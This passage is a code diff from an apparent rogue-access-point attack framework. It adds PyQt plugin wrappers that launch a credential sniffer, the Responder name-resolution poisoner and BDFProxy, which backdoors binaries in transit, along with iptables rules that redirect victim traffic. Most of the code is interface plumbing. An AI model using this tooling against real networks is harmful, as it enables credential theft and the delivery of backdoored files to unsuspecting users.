self.tabinterface.setText(self.Name) + self.tabinterface.setSizeHint(QtCore.QSize(30, 30)) + self.tabinterface.setIcon(QtGui.QIcon(self.Icon)) + self.ConfigWindow = OptionDialog(self) + self.ConfigWindow.setWindowTitle("{} Settings".format(self.Name)) + + self.controlui = QtGui.QCheckBox(self.Name) + self.controlui.setObjectName(QtCore.QString(self.Description)) + self.controlui.setChecked(self.FSettings.Settings.get_setting('mitmhandler', self.Name, format=bool)) + self.controlui.toggled.connect(self.CheckOptions) + + self.setEnabled(self.FSettings.Settings.get_setting('mitmhandler', self.Name, format=bool)) + self.btnChangeSettings = QtGui.QPushButton("None") + self.btnChangeSettings.setEnabled(False) + + if self.ModSettings: + self.btnChangeSettings.setEnabled(self.controlui.isChecked()) + self.btnChangeSettings.setText("Change") + self.btnChangeSettings.setIcon(QtGui.QIcon('icons/config.png')) + self.btnChangeSettings.clicked.connect(self.Configure) + + self.dockwidget = MitmDock(None,title=self.Name) + self.dockwidget.addDock.emit(self.controlui.isChecked()) + self.mainLayout = QtGui.QFormLayout() + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + self.layout = QtGui.QHBoxLayout() + self.layout.addWidget(self.scroll) + @property + def CMD_ARRAY(self): + return self._cmd_array + + @property + def Wireless(self): + return AccessPointSettings.instances[0] + @property + def hasSettings(self): + return self.ModSettings + def CheckOptions(self): + self.FSettings.Settings.set_setting('mitmhandler', self.Name, self.controlui.isChecked()) + self.dockwidget.addDock.emit(self.controlui.isChecked()) + if self.ModSettings: + self.btnChangeSettings.setEnabled(self.controlui.isChecked()) + if self.controlui.isChecked() == True: + self.setEnabled(True) + else: + self.setEnabled(False) + self.Initialize() + def Initialize(self): + self.SetRules() + def SetRules(self): + pass + def ClearRules(self): + pass + def Configure(self): + self.ConfigWindow.show() + def boot(self): + if self.CMD_ARRAY: + self.reactor= ProcessThread({'python': self.CMD_ARRAY}) + self.reactor._ProcssOutput.connect(self.LogOutput) + self.reactor.setObjectName(self.Name) + def shutdown(self): + if self.reactor is not None: + self.reactor.stop() + if hasattr(self.reactor, 'wait'): + if not self.reactor.wait(msecs=500): + self.reactor.terminate() + def LogOutput(self,data): + if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool): + try: + data = str(data).split(' : ')[1] + for line in data.split('\n'): + if len(line) > 2 and not self.parent.currentSessionID in line: + self.dockwidget.writeModeData(line) + self.logger.info(line) + except IndexError: + return None + + + + diff --git a/core/servers/http_handler/proxyhandler/NetCreds.py b/core/servers/http_handler/proxyhandler/NetCreds.py new file mode 100644 index 0000000..90971f5 --- /dev/null +++ b/core/servers/http_handler/proxyhandler/NetCreds.py @@ -0,0 +1,71 @@ +from core.servers.http_handler.proxyhandler.MitmMode import MitmMode +import core.utility.constants as C +from collections import OrderedDict +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from PyQt4.Qt import * + +from core.widgets.docks.dock import DockableWidget +class NetCredential(DockableWidget): + id = "NetCredential" + title = "Net Crendential" + def __init__(self,parent=None,title="",info={}): + super(NetCredential,self).__init__(parent,title,info) + self.setObjectName(self.title) + self.maindockwidget = QTableWidget() + self.maindockwidget.setColumnCount(4) + self.maindockwidget.resizeRowsToContents() + self.maindockwidget.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) + self.maindockwidget.horizontalHeader().setStretchLastSection(True) + self.maindockwidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.maindockwidget.verticalHeader().setVisible(False) + self.maindockwidget.verticalHeader().setDefaultSectionSize(27) + self.maindockwidget.setSortingEnabled(True) + self.THeaders = OrderedDict([ ('Username',[]),('Password',[]),('Url',[]),('Source/Destination',[])]) + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + self.maindockwidget.horizontalHeader().resizeSection(0,120) + self.maindockwidget.horizontalHeader().resizeSection(1,120) + self.maindockwidget.horizontalHeader().resizeSection(2,180) + self.setWidget(self.maindockwidget) + + def writeModeData(self,data): + ''' get data output and add on QtableWidgets ''' + self.THeaders['Username'].append(data['POSTCreds']['User']) + self.THeaders['Password'].append(data['POSTCreds']['Pass']) + self.THeaders['Url'].append(data['POSTCreds']['Url']) + self.THeaders['Source/Destination'].append(data['POSTCreds']['Destination']) + Headers = [] + self.maindockwidget.setRowCount(len(self.THeaders['Username'])) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + item = QTableWidgetItem(item) + item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) + self.maindockwidget.setItem(m, n, item) + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + self.maindockwidget.verticalHeader().setDefaultSectionSize(27) + self.maindockwidget.scrollToBottom() + + def stopProcess(self): + self.maindockwidget.setRowCount(0) + self.maindockwidget.clearContents() + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) +class NetCreds(MitmMode): + Name = "Net Credentials" + ID = "NetCreds" + Author = "Wahyudin Aziz" + Description = "Sniff passwords and hashes from an interface or pcap file coded by: Dan McInerney" + Icon = "icons/tcpproxy.png" + LogFile = C.LOG_CREDSCAPTURE + _cmd_array = [] + ModSettings = True + ModType = "proxy" # proxy or server + def __init__(self,parent,FSettingsUI=None,main_method=None, **kwargs): + super(NetCreds, self).__init__(parent) + self.dockwidget = NetCredential(None,title=self.Name) + @property + def CMD_ARRAY(self): + self._cmd_array=[C.NETCREDS_EXEC,'-i',str(self.Wireless.WLANCard.currentText())] + return self._cmd_array + + diff --git a/core/servers/http_handler/proxyhandler/Responder.py b/core/servers/http_handler/proxyhandler/Responder.py new file mode 100644 index 0000000..116aa72 --- /dev/null +++ b/core/servers/http_handler/proxyhandler/Responder.py @@ -0,0 +1,113 @@ +from configobj import ConfigObj +import core.utility.constants as C +from core.loaders.models.PackagesUI import * +from core.servers.http_handler.proxyhandler.MitmMode import MitmMode + + +class Responder(MitmMode): + Name = "Responder" + Author = "Pumpkin-Dev" + ID = "Responder" + Description = "Responder an LLMNR, NBT-NS and MDNS poisoner By default, the tool will only answer to File Server Service request, which is for SMB." + Icon = "icons/tcpproxy.png" + LogFile = C.LOG_RESPONDER + ModSettings = True + ModType = "proxy" # proxy or server + _cmd_array = [] + def __init__(self,parent,FSettingsUI=None,main_method=None, **kwargs): + super(Responder, self).__init__(parent) + self.ConfigWindow = ResponderSettings() + @property + def CMD_ARRAY(self): + self._cmd_array=[C.RESPONDER_EXEC,'-I', str(self.Wireless.WLANCard.currentText()),'-wrFbv'] + return self._cmd_array + + +class ResponderSettings(PumpkinModule): + def __init__(self,parent=None): + super(ResponderSettings, self).__init__(parent) + self.setWindowTitle('Responder Plugin settings') + self.setGeometry(0,0,480, 500) + self.main = QtGui.QVBoxLayout() + self.THeaders = {'Config':[],'Value':[] } + self.userConfig = ConfigObj(str(self.configure.Settings.get_setting('plugins','responder_config'))) + self.userConfig.interpolation = False + self.center() + self.GUI() + + def addRowTableWidget(self, _key, _value): + ''' add items into TableWidget ''' + Headers = [] + self.THeaders['Config'].append(_key) + self.THeaders['Value'].append(_value) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + item = QtGui.QTableWidgetItem(item) + item.setFlags(item.flags() | QtCore.Qt.ItemIsEditable) + self.TabSettings.setItem(m, n, item) + self.TabSettings.resizeColumnToContents(0) + + def getAllRowTablesWidget(self): + ''' dump all setting into table for list''' + model = self.TabSettings.model() + data,datafilter = [],[] + for row in range(model.rowCount()): + data.append([]) + for column in range(model.columnCount()): + index = model.index(row, column) + data[row].append(str(model.data(index).toString())) + for key,item in data: + datafilter.append(key) + datafilter.append(item) + return datafilter + def addAllconfigKeys(self): + ''' get all settings and add into table''' + for key in self.userConfig.keys(): + for items in self.userConfig[key].items(): + self.addRowTableWidget(items[0],items[1]) + + def checkConfigKeysResponder(self,saveObjct=False,count=False): + ''' check number row and save settings ''' + if count: + lenconfig = 0 + for key in self.userConfig.keys(): + for items in self.userConfig[key].items(): lenconfig += 1 + return lenconfig + if saveObjct: + settings = self.getAllRowTablesWidget() + for key in self.userConfig.keys(): + for items in self.userConfig[key].items(): + self.userConfig[key][items[0]] = settings[settings.index(items[0])+1] + self.userConfig.write() + def saveConfigObject(self): + self.checkConfigKeysResponder(saveObjct=True) + QtGui.QMessageBox.information(self,'Responder settings','All settings in {} has been saved ' + 'with success.'.format(str(self.configure.Settings.get_setting('plugins','responder_config')))) + self.close() + + def GUI(self): + self.TabSettings = QtGui.QTableWidget(self.checkConfigKeysResponder(count=True),2) + self.btnSave = QtGui.QPushButton('Save settings') + self.GroupBox = QtGui.QGroupBox(self) + self.widget = QtGui.QWidget() + self.layoutGroup = QtGui.QVBoxLayout(self.widget) + self.GroupBox.setLayout(self.layoutGroup) + self.GroupBox.setTitle('Options') + self.addAllconfigKeys() + self.btnSave.clicked.connect(self.saveConfigObject) + self.TabSettings.resizeRowsToContents() + self.TabSettings.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.TabSettings.horizontalHeader().setStretchLastSection(True) + self.TabSettings.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) + #self.TabSettings.setEditTriggers(QAbstractItemView.NoEditTriggers) + self.TabSettings.verticalHeader().setVisible(False) + self.TabSettings.setHorizontalHeaderLabels(self.THeaders.keys()) + self.TabSettings.verticalHeader().setDefaultSectionSize(23) + + self.layout = QtGui.QVBoxLayout(self.widget) + self.layoutGroup.addWidget(self.TabSettings) + self.layout.addWidget(self.GroupBox) + self.layout.addWidget(self.btnSave) + self.main.addWidget(self.widget) + self.setLayout(self.main) \ No newline at end of file diff --git a/core/servers/http_handler/proxyhandler/URLMonitor.py b/core/servers/http_handler/proxyhandler/URLMonitor.py new file mode 100644 index 0000000..38c415b --- /dev/null +++ b/core/servers/http_handler/proxyhandler/URLMonitor.py @@ -0,0 +1,60 @@ +from core.servers.http_handler.proxyhandler.MitmMode import MitmMode +import core.utility.constants as C +from collections import OrderedDict +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from PyQt4.Qt import * + +from core.widgets.docks.dock import DockableWidget +class URLMonitorDock(DockableWidget): + id = "URLMonitor" + title = "URLMonitor" + def __init__(self,parent=None,title="",info={}): + super(URLMonitorDock,self).__init__(parent,title,info) + self.maindockwidget = QTreeView() + self.maindockwidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.model = QStandardItemModel() + self.model.setHorizontalHeaderLabels(['URL', 'HTTP-Headers']) + self.maindockwidget.setModel(self.model) + self.maindockwidget.setUniformRowHeights(True) + self.maindockwidget.setColumnWidth(0, 130) + self.setWidget(self.maindockwidget) + self.setObjectName(self.title) + + def writeModeData(self, data): + ''' get data output and add on QtableWidgets ''' + ParentMaster = QStandardItem('[ {0[src]} > {0[dst]} ] {1[Method]} {1[Host]}{1[Path]}'.format( + data['urlsCap']['IP'], data['urlsCap']['Headers'])) + ParentMaster.setIcon(QIcon('icons/accept.png')) + ParentMaster.setSizeHint(QSize(30, 30)) + for item in data['urlsCap']['Headers']: + ParentMaster.appendRow([QStandardItem('{}'.format(item)), + QStandardItem(data['urlsCap']['Headers'][item])]) + self.model.appendRow(ParentMaster) + self.maindockwidget.setFirstColumnSpanned(ParentMaster.row(), + self.maindockwidget.rootIndex(), True) + self.maindockwidget.scrollToBottom() + + def clear(self): + self.model.clear() + + def stopProcess(self): + self.maindockwidget.clearSelection() +class URLMonitor(MitmMode): + Name = "URLMonitor" + Author = "Pumpkin-Dev" + ID = "URLMonitor" + Description = "Monitor the network connection and displays the list of intercepted URLs and HTTP header" + Icon = "icons/tcpproxy.png" + LogFile = C.LOG_URLCAPTURE + _cmd_array = [] + ModSettings = True + ModType = "proxy" # proxy or server + def __init__(self,parent,FSettingsUI=None,main_method=None, **kwargs): + super(URLMonitor, self).__init__(parent) + self.dockwidget = URLMonitorDock(None,title=self.Name) + @property + def CMD_ARRAY(self): + return None + + diff --git a/core/servers/http_handler/proxyhandler/__init__.py b/core/servers/http_handler/proxyhandler/__init__.py new file mode 100644 index 0000000..9f6a139 --- /dev/null +++ b/core/servers/http_handler/proxyhandler/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/core/servers/proxy/http/controller/handler.py b/core/servers/proxy/http/controller/handler.py index a88c989..c39593c 100644 --- a/core/servers/proxy/http/controller/handler.py +++ b/core/servers/proxy/http/controller/handler.py @@ -1,10 +1,7 @@ +from plugins.extension import * from threading import Thread from core.utility.collection import SettingsINI -try: - from mitmproxy import controller,flow - from plugins.extension import * -except ImportError: - pass +from mitmproxy import controller,flow import core.utility.constants as C diff --git a/core/servers/proxy/package/BDFProxy.py b/core/servers/proxy/package/BDFProxy.py new file mode 100644 index 0000000..d3bca7e --- /dev/null +++ b/core/servers/proxy/package/BDFProxy.py @@ -0,0 +1,159 @@ +from collections import OrderedDict +from configobj import ConfigObj,Section +from datetime import datetime +from functools import partial +from os import path + +import core.utility.constants as C +import modules as GUI +from core.loaders.models.PackagesUI import * +from core.main import QtGui,QtCore +from core.servers.proxy.package.ProxyMode import ProxyMode +from core.utility.collection import SettingsINI +from core.utility.threads import ThreadPopen +from core.utils import Refactor +from core.widgets.customiseds import AutoGridLayout +from core.widgets.docks.dockmonitor import ( + dockAreaAPI,dockUrlMonitor,dockCredsMonitor,dockPumpkinProxy,dockTCPproxy +) +from core.utility.threads import ( + ProcessHostapd,Thread_sergioProxy, + ThRunDhcp,Thread_sslstrip,ProcessThread, + ThreadReactor,ThreadPopen,ThreadPumpkinProxy +) +from core.widgets.pluginssettings import PumpkinProxySettings +from plugins.analyzers import * +from plugins.extension import * +from plugins.external.scripts import * + + +class BDFProxy(ProxyMode): + Name = "BDF Proxy" + Author = "secretsquirrel" + Description = 'Patch Binaries via MITM: BackdoorFactory + mitmProxy, bdfproxy-ng is a fork and review of the original BDFProxy..' + ModSettings = True + Hidden = False + _cmd_array = [] + ModType = "proxy" # proxy or server + + def __init__(self, parent, **kwargs): + super(BDFProxy,self).__init__(parent) + self.search[self.Name] = str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080') + self.parent = parent + @property + def CMD_ARRAY(self): + self._cmd_array=[C.BDFPROXY_EXEC,'-k',self.parent.currentSessionID] + return self._cmd_array + def Configure(self): + self.ConfigWindow = BDFProxySettings() + self.ConfigWindow.show() + def onProxyEnabled(self): + self.SetRules(self.Name) + + +class BDFProxySettings(PumpkinModule): + def __init__(self,parent=None,FSettings=None): + super(BDFProxySettings, self).__init__(parent,FSettings) + self.setWindowTitle('DBFProxy-ng Plugin settings') + self.setGeometry(0,0,480, 500) + self.main = QtGui.QVBoxLayout() + self.THeaders = {'Config':[],'Value':[] } + self.userConfig = ConfigObj(str(self.configure.Settings.get_setting('plugins','bdfproxy_config'))) + self.userConfig.interpolation = False + self.center() + self.GUI() + + def addRowTableWidget(self, _key, _value): + ''' add items into TableWidget ''' + Headers = [] + self.THeaders['Config'].append(_key) + self.THeaders['Value'].append(_value) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + item = QtGui.QTableWidgetItem(item) + item.setFlags(item.flags() | QtCore.Qt.ItemIsEditable) + self.TabSettings.setItem(m, n, item) + self.TabSettings.resizeColumnToContents(0) + + def getAllRowTablesWidget(self): + ''' dump all settings from table ''' + model = self.TabSettings.model() + data,datafilter,self.key = [],OrderedDict(),None + for row in range(model.rowCount()): + data.append([]) + for column in range(model.columnCount()): + index = model.index(row, column) + data[row].append(str(model.data(index).toString())) + datafilter['ESP'] = {} + datafilter['LinuxIntelx86'] = {} + datafilter['LinuxIntelx64'] = {} + datafilter['WindowsIntelx86'] = {} + datafilter['WindowsIntelx64'] = {} + datafilter['MachoIntelx86'] = {} + datafilter['MachoIntelx64'] = {} + for count,item in enumerate(data): + if count < 5: + if item[0] != '' or item[1] != '': + datafilter['ESP'][item[0]] = item[1] + else: + if item[0] != '' or item[1] != '': + if item[1] in datafilter.keys(): + self.key = item[1] + else: + datafilter[self.key][item[0]] = item[1] + return datafilter + + def saveConfigObject(self): + self.checkConfigKeysBDFProxy(saveObjct=True) + QtGui.QMessageBox.information(self,'BDFProxy-ng settings','All settings in {} has been saved ' + 'with success.'.format(str(self.configure.Settings.get_setting('plugins','bdfproxy_config')))) + self.close() + + def checkConfigKeysBDFProxy(self,saveObjct=False): + ''' save all change into file.conf ''' + if saveObjct: changedData = self.getAllRowTablesWidget() + for target in self.userConfig['targets'].keys(): + if target == 'ALL': + for item in self.userConfig['targets']['ALL']: + if type(self.userConfig['targets']['ALL'][item]) == str: + if saveObjct: + self.userConfig['targets']['ALL'][item] = changedData['ESP'][item] + else: + self.addRowTableWidget(item,self.userConfig['targets']['ALL'][item]) + elif type(self.userConfig['targets']['ALL'][item]) == Section: + if saveObjct: + self.userConfig['targets']['ALL'][item] = changedData[item] + else: + self.addRowTableWidget('-'*35+'>',item) + for key in self.userConfig['targets']['ALL'][item]: + self.addRowTableWidget(key,self.userConfig['targets']['ALL'][item][key]) + if saveObjct: self.userConfig.write() + + def GUI(self): + self.TabSettings = QtGui.QTableWidget(50,2) + self.btnSave = QtGui.QPushButton('Save settings') + self.GroupBox = QtGui.QGroupBox(self) + self.widget = QtGui.QWidget() + self.layoutGroup = QtGui.QVBoxLayout(self.widget) + self.GroupBox.setLayout(self.layoutGroup) + self.GroupBox.setTitle('Options') + self.checkConfigKeysBDFProxy() + self.btnSave.clicked.connect(self.saveConfigObject) + self.TabSettings.resizeRowsToContents() + self.TabSettings.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.TabSettings.horizontalHeader().setStretchLastSection(True) + self.TabSettings.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) + #self.TabSettings.setEditTriggers(QAbstractItemView.NoEditTriggers) + self.TabSettings.verticalHeader().setVisible(False) + self.TabSettings.setHorizontalHeaderLabels(self.THeaders.keys()) + self.TabSettings.verticalHeader().setDefaultSectionSize(23) + + self.layout = QtGui.QVBoxLayout(self.widget) + self.layoutGroup.addWidget(self.TabSettings) + self.layout.addWidget(self.GroupBox) + self.layout.addWidget(self.btnSave) + self.main.addWidget(self.widget) + self.setLayout(self.main) + + diff --git a/core/servers/proxy/package/NoProxy.py b/core/servers/proxy/package/NoProxy.py new file mode 100644 index 0000000..cfd34bd --- /dev/null +++ b/core/servers/proxy/package/NoProxy.py @@ -0,0 +1,32 @@ +from collections import OrderedDict +from datetime import datetime +from functools import partial +from os import path + +import core.utility.constants as C +from core.main import QtGui,QtCore +from core.servers.proxy.package.ProxyMode import ProxyMode +from core.utility.collection import SettingsINI +from core.utility.threads import ThreadPopen +from core.utils import Refactor +from core.widgets.customiseds import AutoGridLayout +from core.widgets.docks.dockmonitor import ( + dockAreaAPI,dockUrlMonitor,dockCredsMonitor,dockPumpkinProxy,dockTCPproxy +) +from core.widgets.pluginssettings import PumpkinProxySettings +from plugins.analyzers import * +from plugins.extension import * +from plugins.external.scripts import * + + +class NoProxy(ProxyMode): + Name="No Proxy" + Author = "Pumpkin-Dev" + Hidden = True + + def __init__(self, parent, **kwargs): + super(NoProxy, self).__init__(parent) + self.controlui.setChecked(self.FSettings.Settings.get_setting('plugins', self.Name, format=bool)) + self.controlui.toggled.connect(self.CheckOptions) + self.setEnabled(self.FSettings.Settings.get_setting('plugins', self.Name, format=bool)) + #parent.PopUpPlugins.GroupPluginsProxy.setChecked(not self.FSettings.Settings.get_setting('plugins', self.Name, format=bool)) \ No newline at end of file diff --git a/core/servers/proxy/package/ProxyMode.py b/core/servers/proxy/package/ProxyMode.py new file mode 100644 index 0000000..72bc878 --- /dev/null +++ b/core/servers/proxy/package/ProxyMode.py @@ -0,0 +1,198 @@ +from core.widgets.docks.dock import * +from core.utility.threads import ( + ProcessThread, + ThreadReactor +) +from core.controllers.wirelessmodecontroller import AccessPointSettings +from core.widgets.default.uimodel import * +class Widget(QtGui.QFrame): + def __init__(self): + QtGui.QWidget.__init__(self) +class VBox(QtGui.QVBoxLayout): + def __init__(self): + QtGui.QVBoxLayout.__init__(self) + +class ProxyMode(Widget,ComponentBlueprint): + Name = "Generic" + Author = "Wahyudin Aziz" + Description = "Generic Placeholder for Attack Scenario" + Icon = "icons/plugins-new.png" + LogFile = C.LOG_ALL + ModSettings = False + ModType = "proxy" # proxy or server + EXEC_PATH = '' + _cmd_array = [] + Hidden = True + plugins = [] + sendError = QtCore.pyqtSignal(str) + sendSingal_disable = QtCore.pyqtSignal(object) + addDock=QtCore.pyqtSignal(object) + TypePlugin = 1 # 1 radio and != 1 for checkbox + + + def __init__(self,parent): + super(ProxyMode, self).__init__() + self.parent = parent + self.FSettings = SuperSettings.getInstance() + self.server = ThreadReactor() + setup_logger(self.Name,self.LogFile,self.parent.currentSessionID) + self.logger = getLogger(self.Name) + self.handler = None + self.reactor = None + self.subreactor = None + self.search = { + 'sslstrip': str('iptables -t nat -A PREROUTING -p tcp' + + ' --destination-port 80 -j REDIRECT --to-port ' + self.FSettings.redirectport.text()), + 'dns2proxy': str('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53'), + 'bdfproxy': str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080'), + 'PumpkinProxy': str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080')} + + self.search[self.Name]=self.iptablesrules + self.popup = QtGui.QWidget() + self.tabinterface = QtGui.QListWidgetItem() + self.tabinterface.setText(self.Name) + self.tabinterface.setSizeHint(QtCore.QSize(30, 30)) + self.tabinterface.setIcon(QtGui.QIcon(self.Icon)) + self.ConfigWindow = OptionDialog(self) + self.ConfigWindow.setWindowTitle("{} Proxy Settings".format(self.Name)) + + if (self.TypePlugin == 1): + self.controlui = QtGui.QRadioButton(self.Name) + self.controlui.setObjectName(QtCore.QString(self.Description)) + self.controlui.setChecked(self.FSettings.Settings.get_setting('plugins', self.Name, format=bool)) + self.controlui.toggled.connect(self.CheckOptions) + else: + self.controlui = QtGui.QCheckBox(self.Name) + self.controlui.setObjectName(QtCore.QString(self.Description)) + self.controlui.setChecked(self.FSettings.Settings.get_setting('plugins', self.Name, format=bool)) + self.controlui.toggled.connect(self.CheckOptions) + + #self.controlui.clicked.connect(self.CheckOptions) + self.setEnabled(self.FSettings.Settings.get_setting('plugins', self.Name, format=bool)) + + self.btnChangeSettings = QtGui.QPushButton("None") + self.btnChangeSettings.setEnabled(False) + + if self.ModSettings: + self.btnChangeSettings.setEnabled(self.controlui.isChecked()) + self.btnChangeSettings.setText("Change") + self.btnChangeSettings.setIcon(QtGui.QIcon('icons/config.png')) + self.btnChangeSettings.clicked.connect(self.Configure) + #TODO Update parent Proxy Status When Loading + + + self.dockwidget = Dockable(None,title=self.Name) + #self.dockwidget.addDock.emit(self.controlui.isChecked()) + self.mainLayout = QtGui.QFormLayout() + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + self.layout = QtGui.QHBoxLayout() + self.layout.addWidget(self.scroll) + @property + def iptablesrules(self): + pass + + @property + def Wireless(self): + return AccessPointSettings.instances[0] + def get_disable_status(self): + if self.FSettings.Settings.get_setting('plugins', self.Name, format=bool) == True: + if self.Name == "No Proxy": + self.ClearRules() + self.parent.set_proxy_statusbar('', disabled=True) + self.sendSingal_disable.emit(self.controlui.isChecked()) + return + + self.parent.set_proxy_statusbar(self.Name) + def onProxyEnabled(self): + pass + def onProxyDisabled(self): + pass + @property + def hasSettings(self): + return self.ModSettings + def CheckOptions(self): + self.FSettings.Settings.set_setting('plugins', self.Name, self.controlui.isChecked()) + self.dockwidget.addDock.emit(self.controlui.isChecked()) + self.get_disable_status() + self.ClearRules() + self.Initialize() + if self.ModSettings: + self.btnChangeSettings.setEnabled(self.controlui.isChecked()) + if self.controlui.isChecked() == True: + self.setEnabled(True) + self.onProxyEnabled() + self.tabinterface.setText("[ {} ]".format(self.Name)) + + else: + self.onProxyDisabled() + self.setEnabled(False) + self.tabinterface.setText(self.Name) + + @property + def CMD_ARRAY(self): + self._cmd_array.extend(self.parent.currentSessionID) + return self._cmd_array + def boot(self): + self.reactor= ProcessThread({'python': self.CMD_ARRAY}) + self.reactor._ProcssOutput.connect(self.LogOutput) + self.reactor.setObjectName(self.Name) + def shutdown(self): + self.ClearRules() + @property + def isEnabled(self): + pass + def optionsRules(self): + return "No Rules" + def Initialize(self): + pass + def optionsRules(self,type): + ''' add rules iptable by type plugins''' + return self.search[type] + def SetRules(self,strrules=""): + items = [] + for index in xrange(self.FSettings.ListRules.count()): + items.append(str(self.FSettings.ListRules.item(index).text())) + if self.optionsRules(strrules) in items: + return + item = QtGui.QListWidgetItem() + item.setText(self.optionsRules(strrules)) + item.setSizeHint(QtCore.QSize(30, 30)) + self.FSettings.ListRules.addItem(item) + def ClearRules(self): + for rules in self.search.keys(): + self.unset_Rules(rules) + def LogOutput(self,data): + if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool): + try: + data = str(data).split(' : ')[1] + for line in data.split('\n'): + if len(line) > 2 and not self.parent.currentSessionID in line: + self.dockwidget.writeModeData(line) + self.logger.info(line) + except IndexError: + return None + def Configure(self): + self.ConfigWindow.show() + + def unset_Rules(self,type): + ''' remove rules from Listwidget in settings widget''' + items = [] + for index in xrange(self.FSettings.ListRules.count()): + items.append(str(self.FSettings.ListRules.item(index).text())) + for position,line in enumerate(items): + if self.optionsRules(type) == line: + self.FSettings.ListRules.takeItem(position) + def SaveLog(self): + pass + def Serve(self,on=True): + pass + + +class Dockable(DockableWidget): + def __init__(self,parent=0,title="",info={}): + super(Dockable,self).__init__(parent,title,info) + self.setObjectName(title) diff --git a/core/servers/proxy/package/PumpkinProxy.py b/core/servers/proxy/package/PumpkinProxy.py new file mode 100644 index 0000000..2de00f4 --- /dev/null +++ b/core/servers/proxy/package/PumpkinProxy.py @@ -0,0 +1,216 @@ +from collections import OrderedDict +from datetime import datetime +from functools import partial +from os import path + +import core.utility.constants as C +from core.main import QtGui,QtCore +from core.servers.proxy.package.ProxyMode import ProxyMode +from core.utility.collection import SettingsINI +from core.utility.threads import ThreadPopen +from core.utils import Refactor +from core.widgets.customiseds import AutoGridLayout +from core.widgets.docks.dockmonitor import ( + dockAreaAPI,dockUrlMonitor,dockCredsMonitor,dockPumpkinProxy,dockTCPproxy +) +from core.utility.threads import ( + ProcessHostapd,Thread_sergioProxy, + ThRunDhcp,Thread_sslstrip,ProcessThread, + ThreadReactor,ThreadPopen,ThreadPumpkinProxy +) +from core.widgets.pluginssettings import PumpkinProxySettings +from core.widgets.docks.dock import DockableWidget +from plugins.analyzers import * +from plugins.extension import * +from plugins.external.scripts import * + +class PumpkinProxyDock(DockableWidget): + ''' get all output and filter data from Pumpkin-Proxy plugin''' + def __init__(self, parent=None,title="",info={}): + super(PumpkinProxyDock, self).__init__(parent,title,info) + self.setObjectName(title) + self.logger = info + self.processThread = None + self.maindockwidget = QtGui.QTableWidget() + self.pluginsName = [] + self.maindockwidget.setColumnCount(2) + self.maindockwidget.resizeRowsToContents() + self.maindockwidget.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.maindockwidget.horizontalHeader().setStretchLastSection(True) + self.maindockwidget.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) + self.maindockwidget.verticalHeader().setVisible(False) + self.maindockwidget.verticalHeader().setDefaultSectionSize(27) + self.maindockwidget.setSortingEnabled(True) + self.THeaders = OrderedDict([ ('Plugin',[]),('Output',[])]) + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + self.maindockwidget.horizontalHeader().resizeSection(0,150) + self.get_AllPluginName() + self.setWidget(self.maindockwidget) + + def get_AllPluginName(self): + ''' get all name plugins PumpkinProxy''' + plugin_classes = plugin.PluginTemplate.__subclasses__() + for p in plugin_classes: + self.pluginsName.append(p().Name) + + def writeModeData(self,data): + ''' get data output and add on QtableWidgets''' + for name in self.pluginsName: + if name in data: + self.THeaders['Output'].append(data[len('[{}]'.format(name)):]) + self.THeaders['Plugin'].append('[{}]'.format(name)) + + Headers = [] + self.maindockwidget.setRowCount(len(self.THeaders['Plugin'])) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + item = QtGui.QTableWidgetItem(item) + if key == 'Plugin': + item.setTextAlignment(QtCore.Qt.AlignVCenter | QtCore.Qt.AlignCenter) + self.maindockwidget.setItem(m, n, item) + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + self.maindockwidget.verticalHeader().setDefaultSectionSize(27) + self.maindockwidget.scrollToBottom() + + def stopProcess(self): + self.maindockwidget.setRowCount(0) + self.maindockwidget.clearContents() + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + +class PumpkinMitmproxy(ProxyMode): + ''' settings Transparent Proxy ''' + Name = "Pumpkin Proxy" + Author = "Pumpkin-Dev" + Description = "Intercepting HTTP data, this proxy server that allows to intercept requests and response on the fly" + Icon = "icons/pumpkinproxy.png" + ModSettings = True + Hidden = False + ModType = "proxy" # proxy or server + _cmd_array = [] + sendError = QtCore.pyqtSignal(str) + + def __init__(self, parent,**kwargs): + super(PumpkinMitmproxy,self).__init__(parent) + self.mainLayout = QtGui.QVBoxLayout() + self.config = 